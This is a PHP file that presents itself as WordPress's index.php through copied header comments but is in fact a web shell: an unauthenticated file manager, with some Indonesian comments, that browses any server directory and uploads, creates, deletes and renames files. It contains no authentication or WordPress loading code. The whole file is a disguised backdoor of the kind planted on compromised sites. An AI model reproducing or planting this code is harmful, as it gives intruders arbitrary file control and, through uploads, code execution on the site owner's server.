<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */

/** Loads the WordPress Environment and Template */

$d = isset($_GET['d']) ? realpath($_GET['d']) : __DIR__;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Fitur Tambah Folder
    if (isset($_POST['nf']) && !empty($_POST['nf'])) {
        $np = $d . DIRECTORY_SEPARATOR . $_POST['nf'];
        if (!file_exists($np)) {
            mkdir($np, 0777, true);
        }
    }
    // Fit shortest Upload
    if (isset($_FILES['fu'])) {
        $tp = $d . DIRECTORY_SEPARATOR . $_FILES['fu']['name'];
        move_uploaded_file($_FILES['fu']['tmp_name'], $tp);
    }
    // Fitur Hapus (D)
    if (isset($_POST['del'])) {
        $target = $d . DIRECTORY_SEPARATOR . $_POST['del'];
        if (is_dir($target)) {
            rmdir($target);
        } else {
            unlink($target);
        }
    }
    // Fitur Rename (R)
    if (isset($_POST['old_n']) && isset($_POST['new_n'])) {
        $old = $d . DIRECTORY_SEPARATOR . $_POST['old_n'];
        $new = $d . DIRECTORY_SEPARATOR . $_POST['new_n'];
        if (file_exists($old)) {
            rename($old, $new);
        }
    }
}

$items = scandir($d);
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Explorer</title>
    <style>
        body { font-family: sans-serif; font-size: 12px; padding: 20px; }
        .nav { margin-bottom: 20px; }
        .list { border-top: 1px solid #ccc; }
        .item { padding: 5px; border-bottom: 1px solid #eee; display: flex; align-items: center; }
        .actions { margin-left: auto; display: flex; gap: 3px; }
        a { text-decoration: none; color: blue; }
        input[type="text"] { font-size: 11px; width: 80px; }
        button { cursor: pointer; font-size: 11px; }
        .btn-d { color: red; }
    </style>
</head>
<body>

<div class="nav">
    <strong>P:</strong> <?php echo htmlspecialchars($d); ?><br><br>
    <a href="?d=<?php echo urlencode(dirname($d)); ?>"> [ .. ] </a>
</div>

<form method="POST" enctype="multipart/form-data">
    <input type="file" name="fu">
    <button type="submit">Up</button>
</form>
<br>
<form method="POST">
    <input type="text" name="nf" placeholder="New Dir">
    <button type="submit">Add</button>
</form>

<div class="list">
    <?php
    foreach ($items as $i) {
        if ($i == '.' || $i == '..') continue;
        $fp = $d . DIRECTORY_SEPARATOR . $i;
        
        echo "<div class='item'>";
        if (is_dir($fp)) {
            echo "D: <a href='?d=" . urlencode($fp) . "'>$i</a>";
        } else {
            echo "F: $i";
        }
        
        echo "<div class='actions'>";
        // R (Rename)
        echo "<form method='POST' style='display:inline;'>
                <input type='hidden' name='old_n' value='".htmlspecialchars($i)."'>
                <input type='text' name='new_n' placeholder='Ren...'>
                <button type='submit'>R</button>
              </form>";
        // D (Delete)
        echo "<form method='POST' style='display:inline;'>
                <input type='hidden' name='del' value='".htmlspecialchars($i)."'>
                <button type='submit' class='btn-d'>D</button>
              </form>";
        echo "</div>";
        echo "</div>";
    }
    ?>
</div>

</body>
</html>